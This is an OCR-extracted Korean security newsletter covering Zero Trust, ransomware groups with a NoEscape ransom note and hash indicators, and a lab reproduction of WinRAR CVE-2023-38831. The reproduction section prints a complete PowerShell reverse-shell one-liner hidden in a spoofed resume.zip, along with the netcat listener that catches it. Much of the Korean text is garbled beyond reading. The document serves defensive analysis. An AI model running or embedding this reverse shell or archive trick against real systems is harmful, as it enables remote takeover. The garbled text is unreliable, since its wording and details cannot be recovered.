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EQST insight

N2 EZAE Alt(Zero Trust) — Never Trust, Always Verify
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olA] HeFS 95 = ‘RE AL 945k Fl(Never Trust, Always Verify) djoF sl A=
EYAE(Zero Trust) A& &FH|8|oF gttt

I'NIST (National Institute of Standards and Technology, 1|5+ S ¥Z7]4AT4)

2 CISA (Cybersecurity and Infrastructure Security Agency, B]5+ Afo]H]EQF 9l ol abr okl
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B A= Ef2E A4E B9 (Zero Trust Maturity Model, ZTMM)

Az EdiE 44w RUCTMME AR EfAE Bd 79 Bt Ade] & Aguol
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Zero Trust Maturity Journey
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[1] NIST SP 800-207, “Zero Trust Architecture”, 2020.08
[2] CISA, “Zero Trust Maturity Model”, 2023.04
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EQST insight | 8



Keep up with Ransomware
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VIEW MORE VIEW MORE VIEW MORE
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Views: 0

January 20, 2022

Metaencryptor Team

We are a group of young people who identify themselves as specialists in the field of network security with at
least 15 years of experience. This blog and this work are ONLY commercial use, besides not the main one. We
have nothing to do with politics, intelligence agencies and the NSB. If you are a hunter of other people's data,
then download any files and (or) wait until the time expires for others and the files will be available here. If
you have any personal suggestions, we are ready to consider them. Contact us on the "contacts” page.
Subscribe to RSS, add to favorites, visit us more often.

READ MCRE  +

RansomedVC

*Z 2] INC, Cloak, MetaEncryptor, Ransomed g8 9]o] 15F Alo]E o]u]z]

EQST insight | 15



2023 89 AHAo] ol Al 401 DO A 7Y 48700 vlh AAG FHE Holw 9]
CIefd g0 AAL Clop WHe] I MOVER Blo A8 sap 47} Folisly
Folth. 159t Clop BHAe] 15 MOVEL AANOR FEL [t whSo] Hgie

—_—

wa AE AAYA, ol Dof uw 79| dlolelgte AAste] AAAL Hef A 447}
27 wobAth. E4 Clop B0l 1HE MOVE M HejA45e) dold §58 oAz
938 §F AolEold NAWAR, - EAER BAEE A ME OpEc SuE
sgroz 9 doldg maA MEg 5 A =tk W Clop BHl 1% BFL
PAHRY Az WS TG TAL FH F R 3AL ek 4] gonz B

zo)7} B @iy,

8 o g 7 Az Aot 8] WAL 9 e TrashPanda W]
Qgol WS Solst B4 Holw k. o] WHLEE “HolHut Eof Wil
| Hol e zFolA WA st eHs eende
=7 peid ygol Eatslel 9tk Harward @149Iol= BTC-Azadi @49lole
Faoh BAF oMU AFGSL G Ao Hol Aol oiE|E
S WHde] BE Proxime AS3 AvE Addelz 2o AW ASAL AR
o] EAGTE Rerch WH9ol Adobe © PDF wtdz 914t ofolzma Abgste] Al
s3 9Qlo] AbgAte] Fo|7} Waslt) AllahuAkbar HAHYoI= Chaos @A golo] WEo
Eo A QetA Roh §asA e Ao o] Hop U WY A
g opASsleltelt HO1E A8 A3 gEspl AgEn ge AR Zzage
Zawn], of £ uee] Afo: olawist gEHoR SAF Wl Wil ol
AllahuAkbar £ o1&% 7| E8o] A$HE BT oagmote] AR 53] 2 4 9tk

A WALl 1522 Inc, MetaEncryptor, Ransomed, Cloak ©] 2AE =4, Inc
Yaatso] A% #9 A 9 58 1Y) of @ AR A Aok = uzk A
O
o}

Jf
e,
=)

ofy I
=
bt
k)

MetaEncryptor &= =We] b Az GAeE AlA o= HOFJ ﬂ/‘P.—E: 7HA] 54 5}od
deleE g3l a2 FF AClES AXSHIHh 12 A8 F& Hold & 592 5 o=

MetaEncryptor ©f| JOH 7 w2 gsfE YAt Ransomed E}~ 2 ‘Ransomed.vc’ &=
2o A" SRIE st A, T 5219 thad u|] AlEE AlEShrk gt
21 Uﬂ of| A ! = 7 e F8 Qdzge] digt 342 35t
OP“:} st dol Aot f-Azto|y FAlo[gtal ofofr|shH S
Ag FGAohs 229 AT gEo] AGA Byl Tt 8 AR} AAlSHH

21e Holal i}, upx|gre g2 (Cloak 1&2 ‘Shame Board’
T8 24 719 §& dHlolHE AAReH, I7tet AFS 71

%3 FAUAoR doldE st il £8 A=) dEsi ek

<

EQST insight | 16



Top5 o]

infosec

28%

17%
14%

16%
8%
M M
Hl | H| 9
A = A B

E}2! 337}

[ Akira [  Cloak |
[ Akira [ Cloak ]

23%
=]
3

20%
%
8%
I
L T

41%

%

:

4%

EN- KN~
EN- EN-

63%
5%
3%

£ ys.o= ® D=y @ ruexEaajo
() CAFHLICE O ES:AHQl g IN:lE
() FREZA () IT:0|2i0p 2 AR OIZSE|LL

& UK EE 4B SEAfE (@ AEOHHIDIZIE

ol BelE AP FlH AzYel VY @S AskE Ytk AzP dAgel el
A&HD Yk 7hed Bge ARt 304 Hole vl Azde B4 Az 33 o)
A HW 2 AARoZE FHE o] Hesh] o] Bghe ARsA e AAE @A
Downtime20 2 Q13 =3 oF 460 o 2] £4& Yolrke Aup} gk Lafet sz

Aoz Qs A gFHe] Holert fEFHA. o] 5 Adee] Ui
(@]

0
Aol shyis gloleE7hA gatstthe AuE &4

- =2

BN
e,
ad,
=
-
fu)

ojr
o
e
>,
o)

AL WAL 5 k. olF WMhE ] AL FAAEC] 27] ARE ohA) Rop i
Aol AgHo, WY WA Felsh), ARG WAUS AW F55), ALGH LTE o]
A5l 92 A FRt

LockBit &< HZ StAlE Holn gletxl olop/|she Alkte] whg-g oMsbiate g

122 719) % dolHE ANl edive] /1Y BE §F dolEg JrEg 1F0R /15
5L AHolN A% A B2 WA A1 o2 LockBir 3.0 WA FxlL 3
LockBit & o AIelA sl M4 olde Aol Hafart s E Al A

Rl

]

O

12 Downtime : W& <l8] HAFZ Az T

o,

o] 2go] TEH= AT

EQST insight | 17



ofUet A% B ZRAES AWsknA s APoR Fpgete] 429 ol ge Faue

1L
HHAAE xS dFEnehs Holal Sl

S8Base 15L& #]
FUAe B5L

T Rzl AaAe] doles oAy §2 AlEs] A

|31 Qe o]l o= Delaney Browne, Toyota Forklift Dealer, Skyroot
Aerospace & IRt 28 719 & HlolHE A &F2 St oy, FHT oF o
F§ AMIAY AnonFiles o A4 F2E o]218& A3 itk 8Base B WRE ]2 FAREL
AnonFiles & Haize] f= dlolEu JAHIEE WiESHE §E® AMESif=dl, AnonFiles
oA ol=et ofolA delsa Adstr7h ol Httal was] Mu|AE FRI Jow Hl
H|=, AnonFiles AH|A7F FaFARE, o|¢F f{ARE AH|AFo] oAl T A Ad¥A4S
o143l BAS0] ek shs Aol glong delEAe Bast ok

e
w
e,
)
ol
o2
st
o)

Akira 52 Ad 4 Yo 54 WAl IFe=, & HolEHE AAStE Yot 9]
SIS Kol Qtt Akira 52 7€l Ht AA Avast oA F7Hg id9lol BE5E o
Bt o3t =4S w25t o o] njofjAE=45E dolEE ¥ st 245 85t 9l
E3], o]lE9 FZAL Windows #aF ofzt VMware ESXi AMH7ZFA] Efzloz A1 94|,
VMware ESXi &= 7V W4l& S48 sk sto|muio|A B R, shte] st=Jo]E ARgste] ofg
o] 7Y HAE AYPAE S Qlon, stEfojo] ol HES Atsta I=ZE A S|
Uzk & ok Aol Qo] Hol ARRE I ity FAR A= Fast HEIE HAE o]
Sk Ho] FAOZ ESXi oA $AH HI Qe BE AAHES 4Esiet 4= Qo] g FH0|
7Fed A ERIE F sholth. FAAEC] ESXi & B R 4AHEtE XA A= ESXi 7t &=
& BASHAY ek 2ol 4R 92 Aolth wEhA 1A=
ESXi AZEfolE A4 HHAOR f{Asty, SHIE dAge HAAE w=s 5 HOP A=
o

pzeto 2 Cloak IF2 o¥l go] AHg HadE OFo=2, tadde] 24 7He] ms 7|9
AN &Ee AR AANE 719 F 25%7F AxGoldlow, 21 M9 Yol BuE
A2sto] vlolelh AAHALY ol AT ;

w7k Aol A1E k4 Cloak & olo] A 273 dlojelg BAjate U Agch Cloak &
271 5 M=oz  [AB(nitial Access Broker) Y & Hd HE AHAERE FoAY
QEAFe (nfostcaler) © 2 THT AAZY S& qofsle] o) Asde] HISE PAL
eyt ik

WIAB: 7] A% ARE wuiste AU F AW

EQST insight | 18



m g0 ¥F XA

NoEscape g0 e

EBE NOESCAPE

HOW_TO_RECOVER_FILES.TXT

o
oN.
o
rE
ox.
1,
rr
=
oft
i
2

*Z 2. NoEscape @dgolol A=

At 6 ol 5743t NoEscape & 2021 ¥ /\/\]'7]3'&91 oHtoll o &FS F=S Avaddon
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NoEscape Ransomware

infosec

( RSA-2048 Z7H7| 2 Salsa20 7|12 B33}7, Salsa20 21
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a Salsa20 ~
encryption ﬁ
File Encrypted
- File
| gz
) O

RSA-2048
Encryption

Encrypted with the
master public key

2E2E Y

@=ot

(exe | dil | sys § ink | bat | bin [.cmd ] .com | .msc | msiJ.msp | pif | prf |
[ cpl | dat J.drv ] hta | .ini ] .lock | Jog | .mod] rdp | scr | shs |.swp | theme

oMU 37| 168 0|4} : 10MB OiCH ZHEHO Z 4535}

oY 37| 1GB O[3t : S 1MBEF Y535}
Base64 .
(ilij_(l;é? ﬂgg ‘I?'—% %"RQI'

HETE

HE FI3¥x

Your confidential documents, persenal data and sensitive info has been downloaded

WHAT'S MEXT?
You have o pay to get a our special recovery tool for all your files
And aveoid publishing all the dewnloaded info for sale in darknet

| HOW_TO_RECOVER FILES.txt

Base64(CustomEncoding (GUID)) £ “8/d

RSA-2048 & Salsa20 AH| A
48 & A2 elof ya ||  MHEIS
Ao} nzMA BR
"
;
3333355333333 HOMW TO RECOVER FILES <Ceeaaddaddddadds
8y 3 3353355
$55, 8% | 15 I
$5550 55 | 558555\ 95 SEE5555L  BESSEESL SSESESL  SESEERL SISER
$5 55084 55 85 38885 ¥ L I\ 50085 84 58 el
$5 \5555 |55 / 85 |88 V855558, 85 / $555555 (58 / 85 98558988 |
55 (0555 155 | 3% 158 f— L 5 _55 |55 | 55 |58 |
55 | (83 [\SESSSS |$5585595\ $S5955S |\SSSIS5\ \SSSSESS (9855858 |\$534355,
] I\ I\ FoA I\ 188 7 |
%
$
WHAT HAPPEMD?
Your network has been hacked and infected by NoEscape BAGDICBEED
All your s documents, and other important files have been encrypted
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ﬂ Indicator Of Compromise }—l

Noescape : SHA256

68e5caa3f0fd4adc595b1163bf0dd30cab21c5d7a6ad0a20dfa1968346daa3c8
2cd1ca52a5d404176f0ec7debeceb4ba3c95b139061f86ac971195b02d854b0c
68ff9855262b7a9c27e349c5e3bf68b2fc9f9ca32a9d2b844f2265dccd2bc0d 8
07c70968c66c93b6d6c9a90255e1c81a3b385632c83f53f69534b3f55212ced 9
9d346518330eeefbf288aeca7b2b6243bc158415c7fee3f2c19694f0e5f7d51 ¢

File Name

1ce30fbd_dll.dll
06b91eda_exe.exe
23cd1f01_exe.exe
bd83e75f dllrelinj.dll
cal3ec998 xp.exe
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URL : https://www.bleepingcomputer.com/news/security/clop—ransomware—now—uses—torrents—to—leak -

data—and—evade—takedowns/

URL : https://www.bleepingcomputer.com/news/security/spain—warns—of—lockbit—locker—ransomware—

phishing—attacks/
URL : https://securityaffairs.com/149941/hacking/lockbit—3-leaked—code—usage.html?web_view=true

URL : https://www.bleepingcomputer.com/news/security/cuba-ransomware—uses—veeam—exploit—against—

critical—us—organizations/

URL : https://www.bleepingcomputer.com/news/security/japanese—watchmaker—seiko—breached—by—

blackcat-ransomware-gang/

URL : https://www.bleepingcomputer.com/news/security/knight-ransomware—distributed—in—fake-

tripadvisor—complaint—emails/

URL : https://www.cybertecwiz.com/noescape—ransomwares—alleged—data—breach—shakes—australias—
online—-stability/?utm_source=rss&utm_medium=rss&utm_campaign=noescape—ransomwares—alleged—data-

breach—shakes—australias—online—stability
URL : https://securereading.com/blackcats—sphynx—ransomware—embeds—impacket—remcom/
URL : https://socradar.io/anonfiles—forced—to—shut—down-due—to—surge—of—malicious—utilization/

URL : https://www.bleepingcomputer.com/news/security/linux—version—of—akira—ransomware—targets—

vmware—esxi—servers/

URL : https://cyberint.com/blog/other/cloak—ransomware—whos—behind—the—cloak/
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Research & Technique

WINRAR Arbitrary Code Execution F2’d (CVE-2023-38831)
m %Y e

2023 " 8¢, RARLAB €] Windows +JAAE oY = 2 o= A 2ZEF]o{Ql WinRAR®
6.22 olsl HAA ¢Jeojo] FrE AT 4 Q= CVE-2023-38831 FHofio]l st} o]
Zorge = Z}x]-é 223 A BA da ofyd Ferh 2w ZIP stdol A, A B A A

olg ohgstel AT T I XY 5 5 AolECIH 4T 3 B F4 ANAES o=
T Aol wAL ARAEBel FAWL HEG U WAY YA P& W)y
A, oty Lol ARAY A1E ZEAA WAt AN T AFL

AR A 13071 olde] Z1717F sl mejg & Aoz 9T

BtcTrading123 (OP) my best Personal Strategy to trade with bitcoin obid OFZ= [jlOI 2 )

Brand new % Today at 09:43:50 AM b | 3 |:|/='1— I‘ = clﬂ #1

)

O] Online Hello everyone, nice to join you on this forum, believe it or not, | would lij€ to show you how this year many
people could make a high income thanks te bitcoin, trying to better efglain my theory | want to attach my

Activity: 0 concept of the market trend herelhttps://files.catbox.moe/a 6in183.rﬂ|{these are the methods that I use it to

Merit: 0 study the market) and | have to tell you that based on past years, | think it should be very profitable to invest in
bitcoin this year but I'm still waiting for your opinions, in any case if anyone has any tips for me let me know, I'm
new on this forum but | have been dealing with trading for many years, thank you for your attention.
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T3t #Ajot-Aztolite] Aolu Aol AZSANA, Szt tE B oR e 3
ZAE % sl “GhostWriter(d® UAC-0057 E+= UNCI1151)"7F CVE-2023-38831 F<FH
i 2A% AdE BARG. o] 2He Aot qem AAW P P wy
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CERT-UA

F32t0[Lt HirH HIYTISE

CERT-UA A7 | AAl | AEAFE A Y |N|Q #ct | s Eojz2 |

712 | aaAl

AFO|H{ &2 UAC-0057: CVE-2023-38831,
PicassoLoader JavaScript &, Rabbit & 112|Z &l

Cobalt Strike Beacon0i| Ci ot 2}-&(CERT-UA#7435)

*Z4: CERT-UA

a9 2. $3zto]y CERT ¥ A AXZ

RARLAB 2 @7 A MAH OS2 WinRAR & AH8dh= AMEAL 5 of 5 9] ¥ oldor FA4sta
olth. CVE-2023-38831 FoFde] CVSS Af4x= 7.8 Aoz ufAXAT, WinRAR 9] AFE FR7}
A3 thE CVEZe] vls] 54 do|krt 42 Hof| &3t}

23 CVE(Common Vulnerabilities and Exposures): ‘Z7/j2 o2 orelxl #AfE Het A7 22
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WInRAR 6.23

Compress, Encrypt, Package
and Backup with only one utility

With over 500 million users worldwide, WinRAR]is the world’s most popular compression tooll

There is no better way to compress files for efficient and secure file transfer. Providing fast email transmission
and well-organized data storage options, WInRAR also offers solutions for users working in all industries and
sectors.

WInRAR is a powerful archiver extractor tool, and can open all popular file formats.

RAR and WinRAR are Windows 11™ and Windows 10™ compatible; available in over 50 languages and in both
32-bit and 64-bit; compatible with several operating systems (OS), and it is the only compression software that
can work with Unicode.

*Z2]: RARLAB

% 3. WinRAR 34] AlO|E Y&

= ;—%—6‘]—7] _g_o]%}‘jr. Oﬂ]—%— lé—(ﬂ %/El]%]ozlﬂ'
At Aol ArgETtd et meiE WA 5 v oebA ARgAES e ot
g ot

EQST insight | 28



ZEQ)o] A

CVE-2023-38831 o] #oFet WinRAR HAL thai} o}

S/W & F ok HH
WinRAR WInRAR 6.22 0|3} ZE HHE

B 224 AlL2|2

CVE-2023-38831 FofH-& o83t 54 Alvte|es o3 Zoh
infosec
@ 24d 232ETH L4UE ZIP 4Y ® =lsHxt pcof| o4d ZIP CH22E
00 -@-
‘ ZIP @ HIEE od zIP R E ZIP

. T st
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NI
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ﬂ @ WInRARE Edjf ot zIp L} A3 E EM 7|

® TSHAL PC HOUCE LB Fo HH E
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i
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4|
‘@.

&

T

© 3ZARH=E CVE-2023-38831 #OHS FUsts ot AIYETL YAUE zIPg Hsict
@ 34xts ddst Ad zIp oY S HY/AANE/MAUN S Sl FEBICH
® L8{xteE Q=& zIp DY S PCO| CHRZESHCL
@ LAt CHRRESH 2 zIp IhYE FASH HTl WinRARE ALCEH
® LsiX7t zIp oY LY =EA AFE40| MBE EME EH, S4X7F st 948 A3 HET A ECH
® 34X7 odd AFZYEE Soff msixtel pC E UL, W& Fo EEE EFCL
2 g A3 (Extension Spoofing): 1+ FAAE 245 wdo] A4 4 &7 e fdz 9Fsts 34 7e
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e},
e

m HAE gHd 4 dE
HAE P48 &6 CVE-2023-38831 9] 5-2F 7142 Arm
o|& [
e Windows 10 Pro 22H2
| s <t 192.168.0.2 )
WinRAR 6.22
S4xt 192.168.0.9 Windows 10 Pro 22H2
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1) T8z}t PC o] CVE-2023-38831 #HekHo] A 5= WinRAR 6.22 HAL tfez T 3sit}

https://www.win-rar.com/fileadmin/winrar-versions/winrar/winrar-x64-622.exe

< o & win-rar.com WinRAR download free and support: Post-Download th @ %t O B LOS DA

X
oY CcheRE using this website, you consent to the use of
3 to have cookies stored within your web-

AGREE

We want you to have the best possible experience whil
cookies. For more detailed information regarding the us _ )
browser, please adjust your browser seftings according 318 It & MFBAZASUIN?

winrar-x64-622.exe  34ME
C:wUserswK1210449%Downloads

Search |enter your search term here

Ci2%E S0EX 27|

Language| gngisn v
as ceossers v [JEEH
Thank you for downloading WinRAR. If your download doesn't start within 5 seconds: click here
- ® >
Now get FREE WIinRAR "~ support for 40 days!
E-Mail*
Send
Note regarding Privacy Policy:
You will receive a confi ion email to the il-adds entered above. It is necessary to enter a valid email-address! Solely your email address is mandatory for the subscription. All additional details

("This is the first time | download WinRAR") are only used to personalize the newsletter and to provide the newsletter in your preferred language.

By filling out this form, you are signing up to receive special offers for WinRAR and other partner-products from us. By submitting this form you agree that win.rar GmbH electronically processes and
stores your data to provide you with the requested information. The information you provide will only be used for our internal purposes. It will not be sold to any other organization. Please also read our
& ficy

n: i

*Z2]: RARLAB

1% 5. WinRAR 6.22 H{A 2
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2) T*2IE% WinRAR 6.22 B3-S A5},

B users (evaluation copy — O b
File Ceommands Tools Favorites Options  Help
: _ — o | - fr —
BeEmie 0 B
Add  Bxtract To  Test View  Delete Find  Wizard Info Repair
1 About WinRAR by ~
MNa
. RARLAB' | oK |
-
SR WinRaR® — —
‘l‘
) | Acknowledgments |
2| [ winrar 6.22 62 : [ omepage |
| | Copyright @ 1993-2023 by L |
U1 Alexander Roshal ™
Published by win.rar GmbH
biished b b
40 days trial copy
O] Total 5 folders and 174 bytes in 1 file

1% 6. WinRAR 6.22 B]A Ax]
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- v o > WPC > N 28 (D) » ZIP_TEST v 0 ZIP_TEST Z4
~

JE SHT LT LR 37)

resume.pdf —» H4 2A IHY 2023-09-05 2 Hpdf Document 24KB

[&] scriptbat —» A3gE MY 2023-09-05 2= 427  Windows HiX| T} 1KB

9 7. 4 ZIP s 74T 5t FH|

&zt PC ol APAIA oA A3 HEE A dl(Reverse Shel)”? ATHEE AREJTE

BlHA @ AJYE Fa

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20
Shell%20Cheatsheet.md#powershell

g 23HEE dsiae]l PC oA FAAS] AH(192.168.0.9:444)2 AL AFSIA,

TAA2RE Agie Yol majae] PC N g AE FAA A A4,

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.8.9",4444);%stream
$client.GetStream();[byte[]]$bytes = @..65535|%{0};while(($i = $stream.Read(%bytes, @,
fbytes.Length)) -ne 8){;%data = (New-Object -Typelame System.Text.ASCIIEncoding).GetString($bytes,8,
$i);%sendback = (iex $data 2>&1 | Out-String );$sendback? = $sendback + 'PS ' + (pwd).Path + "> ';

$sendbyte = ([text.encoding]::ASCIT).GetBytes(%sendback?);%stream.Write($sendbyte,d,$sendbyte. Length);
$stream.Flush()};$client.Close()"

a9 8. ot A3YE (script.bat)

25 2w~ 4 (Reverse Shell): 2F A|A" ] sl Aojslr] S s A2go]A] APE= o IS B 2L dojF:
yESZ 4
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2) A4 B4 AT SAF o8] TS AT
OI5AT TR £A melit FAF olgom WANT. ofu R ARYE ol
Sls) mE wel ° Ty 2ol du] Ba(A 32 B)E Frkac)

Windows oAt w13t Eleejele] o8 SASH AT & glomz A%k B T 79 Hel
245 Agote] TRYG. THE Y BEe chewt 2o

« =2 v A > WPC > M 28 (D) » ZIP_TEST » v O D ZIP_TEST &4

A

0 2 XS L o 37

ol

| ] resumepdfA —» T4 2A ot 4KB
« v A > LHPC > M & (D) > ZIP_TEST » resume.pdfB v 0 D resume.pdfg &
~
0§ =8 2N 53 37|
% [@] resume.pdfB.bat —» AJTE MY 2023-09-05 2= 4:27  Windows HiX|] ot 1KB

a9, FoFd EAS Qg Wixd ZIP ot 4
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ck + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::UTF8).GetBytes($sendback2);$stream.Write($sendbyte,®,$sendb
yte.Length);$stream.Flush()};$client.Close()"

& B2

T
| A ,
Extract To  Test View Delete Find Wizar i VirusScan Comment

£33 resume.zip - ZIP archive, unpacked size 24,321 bytes

Name ’ Size Packed T

?

U
oo

resuhe.pdf 516

) resume.pdf 23,805

BB
e we ne

. W
)

D
o

2023-09-05 2. SFAS27F8

n
;

== <9 Selected 1 file, 23,805 bytes Total 1 folder, 1 file, 24,321 bytes

1% 14. WinRAR ZFoFd o= Q% oty ATHE AP
Step 5. o3&z PC et
FAAE eus 4 A3YE AW wjsizt PC o) B Aol Bk GHs) PCE Hekaitt,
PS D:\Tools\netcat-win32-1.12> .\nc.exe qyqy
listening on [any] dduy
connect to [192.168.0.9] from host.docker.internal [192.168.0.2] 63746

PS D:\ 0| & A > ipconfig

Windows IP +
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char _ fastcall tmp_unzip2_sub_7FF79DBAF5@8(__int64 al, _ inte4 a2, _ int64 a3, _ inte4 a4)
{

char result; // al
__inte4 v8; // rcx
char v9; // bl

wchar_t *v18; // rdi
__int64 vi11; // ris
unsigned int i; // ril4d
int v13; // ebx

char v14[4112]; // [rsp
char \,']_5[4 ]_2], )'.r’ [
__inte4 vie; // [
__inte4 ‘le, I/ :"_.
__int64 v18; // [rsp
char v19[4896]; // [rsp e
char v20[4096]; // [rsp+308@h] [rbp+2F

LOBYTE (a4l =1;
result = EF F34(L"Rar$DI", v10 . =1): 1
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C E2t0|E2] £&: windows
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C:\Users\|IIII\AppData\Local\Temp'Rar$DIa2uuse.26674  C| = E 2|
2023-09-05 22 F 12:56 <DIR>
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.cbSize = 112;
.1pFile = a2;
.lpVerb = a7;
if (! )
= 1344;
.fMask = E
= (_WORD *)sub_7FF79D855928(a2);
if (! [lIRE == 46 && ! [1]1 )
{
.fMask |= 1u;
.1pClass = L".";
¥
.lpDirectory = -
.lpParameters = a4;
if ( (const WCHAR *)sub_7FF79D856754(a2) == && !(unsigned int8)sub_7FF79D854B74(a2, L"exe™) )
{
sprintf_s( » Bx1e00uisd, L".\\%s", > *(_QWORD *)& .chSize);
.1pFile = (LPCWSTR) ;
¥
.nShow = 1;
byte 7FF79D94A8085 = 1;
={ ShellExecuteExk(& )l
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ShellExecuteExW + mHd-2 AP o AME-El= WinAPI &
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v CWWindowsWSystem32wem X + | v

Microsoft Windows [Version 16.6.19645.3324]
(c) Microsoft Corporation. All rights reserved.

D:\TEST>dir
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D:\TEST>calcl.exe
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(«: x5
if (*1o== "\\" || vs5 == "/" || W5 )
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for (j=v2-1 >8; --7)
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if (a1[5] 1= ")
{
if ( a1[j] != "." )
b"’-aké_ ] — el opx|2 Exjo] IUEXZ A Al HAF
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i (V7 == W[ V7 == ] 8&j=1)
break
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} ]
}
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break
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WinRAR 9] 7

HAAZE A2 & A A
- o X

B winRAR 6.22 First Use Motification | Thank you for using WinRAR!
RARLAB'
WinRAR"

Before you continue, please buy a WinRAR perpetual license to support the further
development and customer support we have provided to our users for the past 20 years.

WiIinRAR is not a free software.

G

Thank you for using WinRAR!

For new users we have a
onhe time offer
to save 30% on WinRARI

What you get for registering WinRAR:

\'/ Perpetual license

\/ Ready for Windows 11
You pay: $ 22 . 33

\/ Full RAR and ZIP Support
\/ Safe AE5-256-bit

encryption )

Act now, this is a one time offer!

LA RAR

If you want to support the continuous development of WinRAR, please purchase your license at www win-rarcom .

SECURITY WARNING!
You may be at risk. Click here to update your version of WinRAR!

*Z2]: RARLAB
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https://www.group—ib.com/blog/cve—2023-38831-winrar—zero—day/
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